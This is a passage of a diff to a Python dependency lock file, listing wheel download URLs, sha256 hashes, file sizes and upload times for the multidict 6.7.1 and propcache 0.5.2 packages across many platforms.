upload-time = "2026-01-26T02:44:29.588Z" }, + { url = "https://files.pythonhosted.org/packages/b0/73/6e1b01cbeb458807aa0831742232dbdd1fa92bfa33f52a3f176b4ff3dc11/multidict-6.7.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d624335fd4fa1c08a53f8b4be7676ebde19cd092b3895c421045ca87895b429", size = 254277, upload-time = "2026-01-26T02:44:30.902Z" }, + { url = "https://files.pythonhosted.org/packages/6a/b2/5fb8c124d7561a4974c342bc8c778b471ebbeb3cc17df696f034a7e9afe7/multidict-6.7.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:12fad252f8b267cc75b66e8fc51b3079604e8d43a75428ffe193cd9e2195dfd6", size = 252291, upload-time = "2026-01-26T02:44:32.31Z" }, + { url = "https://files.pythonhosted.org/packages/5a/96/51d4e4e06bcce92577fcd488e22600bd38e4fd59c20cb49434d054903bd2/multidict-6.7.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:03ede2a6ffbe8ef936b92cb4529f27f42be7f56afcdab5ab739cd5f27fb1cbf9", size = 250156, upload-time = "2026-01-26T02:44:33.734Z" }, + { url = "https://files.pythonhosted.org/packages/db/6b/420e173eec5fba721a50e2a9f89eda89d9c98fded1124f8d5c675f7a0c0f/multidict-6.7.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:90efbcf47dbe33dcf643a1e400d67d59abeac5db07dc3f27d6bdeae497a2198c", size = 249742, upload-time = "2026-01-26T02:44:35.222Z" }, + { url = "https://files.pythonhosted.org/packages/44/a3/ec5b5bd98f306bc2aa297b8c6f11a46714a56b1e6ef5ebda50a4f5d7c5fb/multidict-6.7.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:5c4b9bfc148f5a91be9244d6264c53035c8a0dcd2f51f1c3c6e30e30ebaa1c84", size = 262221, upload-time = "2026-01-26T02:44:36.604Z" }, + { url = "https://files.pythonhosted.org/packages/cd/f7/e8c0d0da0cd1e28d10e624604e1a36bcc3353aaebdfdc3a43c72bc683a12/multidict-6.7.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:401c5a650f3add2472d1d288c26deebc540f99e2fb83e9525007a74cd2116f1d", size = 258664, upload-time = "2026-01-26T02:44:38.008Z" }, + { url = "https://files.pythonhosted.org/packages/52/da/151a44e8016dd33feed44f730bd856a66257c1ee7aed4f44b649fb7edeb3/multidict-6.7.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:97891f3b1b3ffbded884e2916cacf3c6fc87b66bb0dde46f7357404750559f33", size = 249490, upload-time = "2026-01-26T02:44:39.386Z" }, + { url = "https://files.pythonhosted.org/packages/87/af/a3b86bf9630b732897f6fc3f4c4714b90aa4361983ccbdcd6c0339b21b0c/multidict-6.7.1-cp313-cp313-win32.whl", hash = "sha256:e1c5988359516095535c4301af38d8a8838534158f649c05dd1050222321bcb3", size = 41695, upload-time = "2026-01-26T02:44:41.318Z" }, + { url = "https://files.pythonhosted.org/packages/b2/35/e994121b0e90e46134673422dd564623f93304614f5d11886b1b3e06f503/multidict-6.7.1-cp313-cp313-win_amd64.whl", hash = "sha256:960c83bf01a95b12b08fd54324a4eb1d5b52c88932b5cba5d6e712bb3ed12eb5", size = 45884, upload-time = "2026-01-26T02:44:42.488Z" }, + { url = "https://files.pythonhosted.org/packages/ca/61/42d3e5dbf661242a69c97ea363f2d7b46c567da8eadef8890022be6e2ab0/multidict-6.7.1-cp313-cp313-win_arm64.whl", hash = "sha256:563fe25c678aaba333d5399408f5ec3c383ca5b663e7f774dd179a520b8144df", size = 43122, upload-time = "2026-01-26T02:44:43.664Z" }, + { url = "https://files.pythonhosted.org/packages/6d/b3/e6b21c6c4f314bb956016b0b3ef2162590a529b84cb831c257519e7fde44/multidict-6.7.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:c76c4bec1538375dad9d452d246ca5368ad6e1c9039dadcf007ae59c70619ea1", size = 83175, upload-time = "2026-01-26T02:44:44.894Z" }, + { url = "https://files.pythonhosted.org/packages/fb/76/23ecd2abfe0957b234f6c960f4ade497f55f2c16aeb684d4ecdbf1c95791/multidict-6.7.1-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:57b46b24b5d5ebcc978da4ec23a819a9402b4228b8a90d9c656422b4bdd8a963", size = 48460, upload-time = "2026-01-26T02:44:46.106Z" }, + { url = "https://files.pythonhosted.org/packages/c4/57/a0ed92b23f3a042c36bc4227b72b97eca803f5f1801c1ab77c8a212d455e/multidict-6.7.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e954b24433c768ce78ab7929e84ccf3422e46deb45a4dc9f93438f8217fa2d34", size = 46930, upload-time = "2026-01-26T02:44:47.278Z" }, + { url = "https://files.pythonhosted.org/packages/b5/66/02ec7ace29162e447f6382c495dc95826bf931d3818799bbef11e8f7df1a/multidict-6.7.1-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:3bd231490fa7217cc832528e1cd8752a96f0125ddd2b5749390f7c3ec8721b65", size = 242582, upload-time = "2026-01-26T02:44:48.604Z" }, + { url = "https://files.pythonhosted.org/packages/58/18/64f5a795e7677670e872673aca234162514696274597b3708b2c0d276cce/multidict-6.7.1-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:253282d70d67885a15c8a7716f3a73edf2d635793ceda8173b9ecc21f2fb8292", size = 250031, upload-time = "2026-01-26T02:44:50.544Z" }, + { url = "https://files.pythonhosted.org/packages/c8/ed/e192291dbbe51a8290c5686f482084d31bcd9d09af24f63358c3d42fd284/multidict-6.7.1-cp313-cp313t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0b4c48648d7649c9335cf1927a8b87fa692de3dcb15faa676c6a6f1f1aabda43", size = 228596, upload-time = "2026-01-26T02:44:51.951Z" }, + { url = "https://files.pythonhosted.org/packages/1e/7e/3562a15a60cf747397e7f2180b0a11dc0c38d9175a650e75fa1b4d325e15/multidict-6.7.1-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:98bc624954ec4d2c7cb074b8eefc2b5d0ce7d482e410df446414355d158fe4ca", size = 257492, upload-time = "2026-01-26T02:44:53.902Z" }, + { url = "https://files.pythonhosted.org/packages/24/02/7d0f9eae92b5249bb50ac1595b295f10e263dd0078ebb55115c31e0eaccd/multidict-6.7.1-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:1b99af4d9eec0b49927b4402bcbb58dea89d3e0db8806a4086117019939ad3dd", size = 255899, upload-time = "2026-01-26T02:44:55.316Z" }, + { url = "https://files.pythonhosted.org/packages/00/e3/9b60ed9e23e64c73a5cde95269ef1330678e9c6e34dd4eb6b431b85b5a10/multidict-6.7.1-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6aac4f16b472d5b7dc6f66a0d49dd57b0e0902090be16594dc9ebfd3d17c47e7", size = 247970, upload-time = "2026-01-26T02:44:56.783Z" }, + { url = "https://files.pythonhosted.org/packages/3e/06/538e58a63ed5cfb0bd4517e346b91da32fde409d839720f664e9a4ae4f9d/multidict-6.7.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:21f830fe223215dffd51f538e78c172ed7c7f60c9b96a2bf05c4848ad49921c3", size = 245060, upload-time = "2026-01-26T02:44:58.195Z" }, + { url = "https://files.pythonhosted.org/packages/b2/2f/d743a3045a97c895d401e9bd29aaa09b94f5cbdf1bd561609e5a6c431c70/multidict-6.7.1-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:f5dd81c45b05518b9aa4da4aa74e1c93d715efa234fd3e8a179df611cc85e5f4", size = 235888, upload-time = "2026-01-26T02:44:59.57Z" }, + { url = "https://files.pythonhosted.org/packages/38/83/5a325cac191ab28b63c52f14f1131f3b0a55ba3b9aa65a6d0bf2a9b921a0/multidict-6.7.1-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:eb304767bca2bb92fb9c5bd33cedc95baee5bb5f6c88e63706533a1c06ad08c8", size = 243554, upload-time = "2026-01-26T02:45:01.054Z" }, + { url = "https://files.pythonhosted.org/packages/20/1f/9d2327086bd15da2725ef6aae624208e2ef828ed99892b17f60c344e57ed/multidict-6.7.1-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:c9035dde0f916702850ef66460bc4239d89d08df4d02023a5926e7446724212c", size = 252341, upload-time = "2026-01-26T02:45:02.484Z" }, + { url = "https://files.pythonhosted.org/packages/e8/2c/2a1aa0280cf579d0f6eed8ee5211c4f1730bd7e06c636ba2ee6aafda302e/multidict-6.7.1-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:af959b9beeb66c822380f222f0e0a1889331597e81f1ded7f374f3ecb0fd6c52", size = 246391, upload-time = "2026-01-26T02:45:03.862Z" }, + { url = "https://files.pythonhosted.org/packages/e5/03/7ca022ffc36c5a3f6e03b179a5ceb829be9da5783e6fe395f347c0794680/multidict-6.7.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:41f2952231456154ee479651491e94118229844dd7226541788be783be2b5108", size = 243422, upload-time = "2026-01-26T02:45:05.296Z" }, + { url = "https://files.pythonhosted.org/packages/dc/1d/b31650eab6c5778aceed46ba735bd97f7c7d2f54b319fa916c0f96e7805b/multidict-6.7.1-cp313-cp313t-win32.whl", hash = "sha256:df9f19c28adcb40b6aae30bbaa1478c389efd50c28d541d76760199fc1037c32", size = 47770, upload-time = "2026-01-26T02:45:06.754Z" }, + { url = "https://files.pythonhosted.org/packages/ac/5b/2d2d1d522e51285bd61b1e20df8f47ae1a9d80839db0b24ea783b3832832/multidict-6.7.1-cp313-cp313t-win_amd64.whl", hash = "sha256:d54ecf9f301853f2c5e802da559604b3e95bb7a3b01a9c295c6ee591b9882de8", size = 53109, upload-time = "2026-01-26T02:45:08.044Z" }, + { url = "https://files.pythonhosted.org/packages/3d/a3/cc409ba012c83ca024a308516703cf339bdc4b696195644a7215a5164a24/multidict-6.7.1-cp313-cp313t-win_arm64.whl", hash = "sha256:5a37ca18e360377cfda1d62f5f382ff41f2b8c4ccb329ed974cc2e1643440118", size = 45573, upload-time = "2026-01-26T02:45:09.349Z" }, + { url = "https://files.pythonhosted.org/packages/91/cc/db74228a8be41884a567e88a62fd589a913708fcf180d029898c17a9a371/multidict-6.7.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:8f333ec9c5eb1b7105e3b84b53141e66ca05a19a605368c55450b6ba208cb9ee", size = 75190, upload-time = "2026-01-26T02:45:10.651Z" }, + { url = "https://files.pythonhosted.org/packages/d5/22/492f2246bb5b534abd44804292e81eeaf835388901f0c574bac4eeec73c5/multidict-6.7.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:a407f13c188f804c759fc6a9f88286a565c242a76b27626594c133b82883b5c2", size = 44486, upload-time = "2026-01-26T02:45:11.938Z" }, + { url = "https://files.pythonhosted.org/packages/f1/4f/733c48f270565d78b4544f2baddc2fb2a245e5a8640254b12c36ac7ac68e/multidict-6.7.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:0e161ddf326db5577c3a4cc2d8648f81456e8a20d40415541587a71620d7a7d1", size = 43219, upload-time = "2026-01-26T02:45:14.346Z" }, + { url = "https://files.pythonhosted.org/packages/24/bb/2c0c2287963f4259c85e8bcbba9182ced8d7fca65c780c38e99e61629d11/multidict-6.7.1-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:1e3a8bb24342a8201d178c3b4984c26ba81a577c80d4d525727427460a50c22d", size = 245132, upload-time = "2026-01-26T02:45:15.712Z" }, + { url = "https://files.pythonhosted.org/packages/a7/f9/44d4b3064c65079d2467888794dea218d1601898ac50222ab8a9a8094460/multidict-6.7.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:97231140a50f5d447d3164f994b86a0bed7cd016e2682f8650d6a9158e14fd31", size = 252420, upload-time = "2026-01-26T02:45:17.293Z" }, + { url = "https://files.pythonhosted.org/packages/8b/13/78f7275e73fa17b24c9a51b0bd9d73ba64bb32d0ed51b02a746eb876abe7/multidict-6.7.1-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:6b10359683bd8806a200fd2909e7c8ca3a7b24ec1d8132e483d58e791d881048", size = 233510, upload-time = "2026-01-26T02:45:19.356Z" }, + { url = "https://files.pythonhosted.org/packages/4b/25/8167187f62ae3cbd52da7893f58cb036b47ea3fb67138787c76800158982/multidict-6.7.1-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:283ddac99f7ac25a4acadbf004cb5ae34480bbeb063520f70ce397b281859362", size = 264094, upload-time = "2026-01-26T02:45:20.834Z" }, + { url = "https://files.pythonhosted.org/packages/a1/e7/69a3a83b7b030cf283fb06ce074a05a02322359783424d7edf0f15fe5022/multidict-6.7.1-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:538cec1e18c067d0e6103aa9a74f9e832904c957adc260e61cd9d8cf0c3b3d37", size = 260786, upload-time = "2026-01-26T02:45:22.818Z" }, + { url = "https://files.pythonhosted.org/packages/fe/3b/8ec5074bcfc450fe84273713b4b0a0dd47c0249358f5d82eb8104ffe2520/multidict-6.7.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7eee46ccb30ff48a1e35bb818cc90846c6be2b68240e42a78599166722cea709", size = 248483, upload-time = "2026-01-26T02:45:24.368Z" }, + { url = "https://files.pythonhosted.org/packages/48/5a/d5a99e3acbca0e29c5d9cba8f92ceb15dce78bab963b308ae692981e3a5d/multidict-6.7.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:fa263a02f4f2dd2d11a7b1bb4362aa7cb1049f84a9235d31adf63f30143469a0", size = 248403, upload-time = "2026-01-26T02:45:25.982Z" }, + { url = "https://files.pythonhosted.org/packages/35/48/e58cd31f6c7d5102f2a4bf89f96b9cf7e00b6c6f3d04ecc44417c00a5a3c/multidict-6.7.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:2e1425e2f99ec5bd36c15a01b690a1a2456209c5deed58f95469ffb46039ccbb", size = 240315, upload-time = "2026-01-26T02:45:27.487Z" }, + { url = "https://files.pythonhosted.org/packages/94/33/1cd210229559cb90b6786c30676bb0c58249ff42f942765f88793b41fdce/multidict-6.7.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:497394b3239fc6f0e13a78a3e1b61296e72bf1c5f94b4c4eb80b265c37a131cd", size = 245528, upload-time = "2026-01-26T02:45:28.991Z" }, + { url = "https://files.pythonhosted.org/packages/64/f2/6e1107d226278c876c783056b7db43d800bb64c6131cec9c8dfb6903698e/multidict-6.7.1-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:233b398c29d3f1b9676b4b6f75c518a06fcb2ea0b925119fb2c1bc35c05e1601", size = 258784, upload-time = "2026-01-26T02:45:30.503Z" }, + { url = "https://files.pythonhosted.org/packages/4d/c1/11f664f14d525e4a1b5327a82d4de61a1db604ab34c6603bb3c2cc63ad34/multidict-6.7.1-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:93b1818e4a6e0930454f0f2af7dfce69307ca03cdcfb3739bf4d91241967b6c1", size = 251980, upload-time = "2026-01-26T02:45:32.603Z" }, + { url = "https://files.pythonhosted.org/packages/e1/9f/75a9ac888121d0c5bbd4ecf4eead45668b1766f6baabfb3b7f66a410e231/multidict-6.7.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f33dc2a3abe9249ea5d8360f969ec7f4142e7ac45ee7014d8f8d5acddf178b7b", size = 243602, upload-time = "2026-01-26T02:45:34.043Z" }, + { url = "https://files.pythonhosted.org/packages/9a/e7/50bf7b004cc8525d80dbbbedfdc7aed3e4c323810890be4413e589074032/multidict-6.7.1-cp314-cp314-win32.whl", hash = "sha256:3ab8b9d8b75aef9df299595d5388b14530839f6422333357af1339443cff777d", size = 40930, upload-time = "2026-01-26T02:45:36.278Z" }, + { url = "https://files.pythonhosted.org/packages/e0/bf/52f25716bbe93745595800f36fb17b73711f14da59ed0bb2eba141bc9f0f/multidict-6.7.1-cp314-cp314-win_amd64.whl", hash = "sha256:5e01429a929600e7dab7b166062d9bb54a5eed752384c7384c968c2afab8f50f", size = 45074, upload-time = "2026-01-26T02:45:37.546Z" }, + { url = "https://files.pythonhosted.org/packages/97/ab/22803b03285fa3a525f48217963da3a65ae40f6a1b6f6cf2768879e208f9/multidict-6.7.1-cp314-cp314-win_arm64.whl", hash = "sha256:4885cb0e817aef5d00a2e8451d4665c1808378dc27c2705f1bf4ef8505c0d2e5", size = 42471, upload-time = "2026-01-26T02:45:38.889Z" }, + { url = "https://files.pythonhosted.org/packages/e0/6d/f9293baa6146ba9507e360ea0292b6422b016907c393e2f63fc40ab7b7b5/multidict-6.7.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:0458c978acd8e6ea53c81eefaddbbee9c6c5e591f41b3f5e8e194780fe026581", size = 82401, upload-time = "2026-01-26T02:45:40.254Z" }, + { url = "https://files.pythonhosted.org/packages/7a/68/53b5494738d83558d87c3c71a486504d8373421c3e0dbb6d0db48ad42ee0/multidict-6.7.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:c0abd12629b0af3cf590982c0b413b1e7395cd4ec026f30986818ab95bfaa94a", size = 48143, upload-time = "2026-01-26T02:45:41.635Z" }, + { url = "https://files.pythonhosted.org/packages/37/e8/5284c53310dcdc99ce5d66563f6e5773531a9b9fe9ec7a615e9bc306b05f/multidict-6.7.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:14525a5f61d7d0c94b368a42cff4c9a4e7ba2d52e2672a7b23d84dc86fb02b0c", size = 46507, upload-time = "2026-01-26T02:45:42.99Z" }, + { url = "https://files.pythonhosted.org/packages/e4/fc/6800d0e5b3875568b4083ecf5f310dcf91d86d52573160834fb4bfcf5e4f/multidict-6.7.1-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:17307b22c217b4cf05033dabefe68255a534d637c6c9b0cc8382718f87be4262", size = 239358, upload-time = "2026-01-26T02:45:44.376Z" }, + { url = "https://files.pythonhosted.org/packages/41/75/4ad0973179361cdf3a113905e6e088173198349131be2b390f9fa4da5fc6/multidict-6.7.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a7e590ff876a3eaf1c02a4dfe0724b6e69a9e9de6d8f556816f29c496046e59", size = 246884, upload-time = "2026-01-26T02:45:47.167Z" }, + { url = "https://files.pythonhosted.org/packages/c3/9c/095bb28b5da139bd41fb9a5d5caff412584f377914bd8787c2aa98717130/multidict-6.7.1-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:5fa6a95dfee63893d80a34758cd0e0c118a30b8dcb46372bf75106c591b77889", size = 225878, upload-time = "2026-01-26T02:45:48.698Z" }, + { url = "https://files.pythonhosted.org/packages/07/d0/c0a72000243756e8f5a277b6b514fa005f2c73d481b7d9e47cd4568aa2e4/multidict-6.7.1-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a0543217a6a017692aa6ae5cc39adb75e587af0f3a82288b1492eb73dd6cc2a4", size = 253542, upload-time = "2026-01-26T02:45:50.164Z" }, + { url = "https://files.pythonhosted.org/packages/c0/6b/f69da15289e384ecf2a68837ec8b5ad8c33e973aa18b266f50fe55f24b8c/multidict-6.7.1-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f99fe611c312b3c1c0ace793f92464d8cd263cc3b26b5721950d977b006b6c4d", size = 252403, upload-time = "2026-01-26T02:45:51.779Z" }, + { url = "https://files.pythonhosted.org/packages/a2/76/b9669547afa5a1a25cd93eaca91c0da1c095b06b6d2d8ec25b713588d3a1/multidict-6.7.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9004d8386d133b7e6135679424c91b0b854d2d164af6ea3f289f8f2761064609", size = 244889, upload-time = "2026-01-26T02:45:53.27Z" }, + { url = "https://files.pythonhosted.org/packages/7e/a9/a50d2669e506dad33cfc45b5d574a205587b7b8a5f426f2fbb2e90882588/multidict-6.7.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e628ef0e6859ffd8273c69412a2465c4be4a9517d07261b33334b5ec6f3c7489", size = 241982, upload-time = "2026-01-26T02:45:54.919Z" }, + { url = "https://files.pythonhosted.org/packages/c5/bb/1609558ad8b456b4827d3c5a5b775c93b87878fd3117ed3db3423dfbce1b/multidict-6.7.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:841189848ba629c3552035a6a7f5bf3b02eb304e9fea7492ca220a8eda6b0e5c", size = 232415, upload-time = "2026-01-26T02:45:56.981Z" }, + { url = "https://files.pythonhosted.org/packages/d8/59/6f61039d2aa9261871e03ab9dc058a550d240f25859b05b67fd70f80d4b3/multidict-6.7.1-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:ce1bbd7d780bb5a0da032e095c951f7014d6b0a205f8318308140f1a6aba159e", size = 240337, upload-time = "2026-01-26T02:45:58.698Z" }, + { url = "https://files.pythonhosted.org/packages/a1/29/fdc6a43c203890dc2ae9249971ecd0c41deaedfe00d25cb6564b2edd99eb/multidict-6.7.1-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:b26684587228afed0d50cf804cc71062cc9c1cdf55051c4c6345d372947b268c", size = 248788, upload-time = "2026-01-26T02:46:00.862Z" }, + { url = "https://files.pythonhosted.org/packages/a9/14/a153a06101323e4cf086ecee3faadba52ff71633d471f9685c42e3736163/multidict-6.7.1-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:9f9af11306994335398293f9958071019e3ab95e9a707dc1383a35613f6abcb9", size = 242842, upload-time = "2026-01-26T02:46:02.824Z" }, + { url = "https://files.pythonhosted.org/packages/41/5f/604ae839e64a4a6efc80db94465348d3b328ee955e37acb24badbcd24d83/multidict-6.7.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:b4938326284c4f1224178a560987b6cf8b4d38458b113d9b8c1db1a836e640a2", size = 240237, upload-time = "2026-01-26T02:46:05.898Z" }, + { url = "https://files.pythonhosted.org/packages/5f/60/c3a5187bf66f6fb546ff4ab8fb5a077cbdd832d7b1908d4365c7f74a1917/multidict-6.7.1-cp314-cp314t-win32.whl", hash = "sha256:98655c737850c064a65e006a3df7c997cd3b220be4ec8fe26215760b9697d4d7", size = 48008, upload-time = "2026-01-26T02:46:07.468Z" }, + { url = "https://files.pythonhosted.org/packages/0c/f7/addf1087b860ac60e6f382240f64fb99f8bfb532bb06f7c542b83c29ca61/multidict-6.7.1-cp314-cp314t-win_amd64.whl", hash = "sha256:497bde6223c212ba11d462853cfa4f0ae6ef97465033e7dc9940cdb3ab5b48e5", size = 53542, upload-time = "2026-01-26T02:46:08.809Z" }, + { url = "https://files.pythonhosted.org/packages/4c/81/4629d0aa32302ef7b2ec65c75a728cc5ff4fa410c50096174c1632e70b3e/multidict-6.7.1-cp314-cp314t-win_arm64.whl", hash = "sha256:2bbd113e0d4af5db41d5ebfe9ccaff89de2120578164f86a5d17d5a576d1e5b2", size = 44719, upload-time = "2026-01-26T02:46:11.146Z" }, + { url = "https://files.pythonhosted.org/packages/81/08/7036c080d7117f28a4af526d794aab6a84463126db031b007717c1a6676e/multidict-6.7.1-py3-none-any.whl", hash = "sha256:55d97cc6dae627efa6a6e548885712d4864b81110ac76fa4e534c03819fa4a56", size = 12319, upload-time = "2026-01-26T02:46:44.004Z" }, +] + +[[package]] +name = "propcache" +version = "0.5.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ec/44/c87281c333769159c50594f22610f77398a47ccbfbbf23074e744e86f87c/propcache-0.5.2.tar.gz", hash = "sha256:01c4fc7480cd0598bb4b57022df55b9ca296da7fc5a8760bd8451a7e63a7d427", size = 50208, upload-time = "2026-05-08T21:02:12.199Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4a/cb/e27bc2b2737a0bb49962b275efa051e8f1c35a936df7d5139b6b658b7dc9/propcache-0.5.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:806719138ecd720339a12410fb9614ac9b2b2d3a5fdf8235d56981c36f4039ba", size = 95887, upload-time = "2026-05-08T21:00:11.277Z" }, + { url = "https://files.pythonhosted.org/packages/e6/13/b8ae04c59392f8d11c6cd9fb4011d1dc7c86b81225c770280300e259ffe1/propcache-0.5.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:db2b80ea58eab4f86b2beec3cc8b39e8ff9276ac20e96b7cce43c8ae84cd6b5a", size = 54654, upload-time = "2026-05-08T21:00:12.604Z" }, + { url = "https://files.pythonhosted.org/packages/2c/7d/49777a3e20b55863d4794384a38acd460c04157b0a00f8602b0d508b8431/propcache-0.5.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:e5cbfac9f61484f7e9f3597775500cd3ebe8274e9b050c38f9525c77c97520bf", size = 55190, upload-time = "2026-05-08T21:00:13.935Z" }, + { url = "https://files.pythonhosted.org/packages/44/c7/085d0cd63062e84044e3f05797749c3f8e3938ff3aeb0eb2f69d43fafc91/propcache-0.5.2-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5dbc581d2814337da56222fab8dc5f161cd798a434e49bac27930aaef798e144", size = 59995, upload-time = "2026-05-08T21:00:15.526Z" }, + { url = "https://files.pythonhosted.org/packages/9c/42/32cf8e3009e92b2645cf1e944f701e8ea4e924dffde1ee26db860bcbf7e4/propcache-0.5.2-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:857187f381f88c8e2fa2fe56ab94879d011b883d5a2ee5a1b60a8cd2a06846d9", size = 63422, upload-time = "2026-05-08T21:00:16.824Z" }, + { url = "https://files.pythonhosted.org/packages/9e/1b/f112433f99fc979431b87a39ef169e3f8df070d99a72792c56d6937ac48b/propcache-0.5.2-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:178b4a2cdaac1818e2bf1c5a99b94383fa73ea5382e032a48dec07dc5668dc42", size = 64342, upload-time = "2026-05-08T21:00:18.362Z" }, + { url = "https://files.pythonhosted.org/packages/14/15/5574111ae50dd6e879456888c0eadd4c5a869959775854e18e18a6b345f3/propcache-0.5.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6f328175a2cde1f0ff2c4ed8ce968b9dcfb55f3a7153f39e2957ed994da13476", size = 61639, upload-time = "2026-05-08T21:00:19.692Z" }, + { url = "https://files.pythonhosted.org/packages/cc/da/4d775080b1490c0ae604acda868bd71aabe3a89ed16f2aa4339eb8a283e7/propcache-0.5.2-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:5671d09a36b06d0fd4a3da0fccbcae360e9b1570924171a15e9e0997f0249fba", size = 61588, upload-time = "2026-05-08T21:00:21.155Z" }, + { url = "https://files.pythonhosted.org/packages/04/ac/f076982cbe2195ee9cf32de5a1e46951d9fb399fc207f390562dd0fd8fb2/propcache-0.5.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:80168e2ebe4d3ec6599d10ad8f520304ae1cad9b6c5a95372aef1b66b7bfb53a", size = 60029, upload-time = "2026-05-08T21:00:22.713Z" }, + { url = "https://files.pythonhosted.org/packages/70/60/189be62e0dd898dce3b331e1b8c7a543cd3a405ac0c81fe8ee8a9d5d77e1/propcache-0.5.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:45f11346f884bc47444f6e6647131055844134c3175b629f84952e2b5cd62b64", size = 56774, upload-time = "2026-05-08T21:00:24.001Z" }, + { url = "https://files.pythonhosted.org/packages/ea/9e/93377b9c7939c1ffae98f878dee955efadfd638078bc86dbc21f9d52f651/propcache-0.5.2-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:8e778ebd44ef4f66ed60a0416b06b489687db264a9c0b3620362f26489492913", size = 63532, upload-time = "2026-05-08T21:00:25.545Z" }, + { url = "https://files.pythonhosted.org/packages/14/f9/590ef6cfb9b8028d516d287812ece32bb0bc5f11fbb9c8bf6b2e6313fec8/propcache-0.5.2-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:c0cb9ed24c8964e172768d455a38254c2dd8a552905729ce006cad3d3dda59b1", size = 61592, upload-time = "2026-05-08T21:00:27.186Z" }, + { url = "https://files.pythonhosted.org/packages/b4/5e/70958b3034c297a630bba2f17ca7abc2d5f39a803ad7e370ab79d1ecd022/propcache-0.5.2-cp312-cp312-musllinux_1_2_s390x.whl", hash = 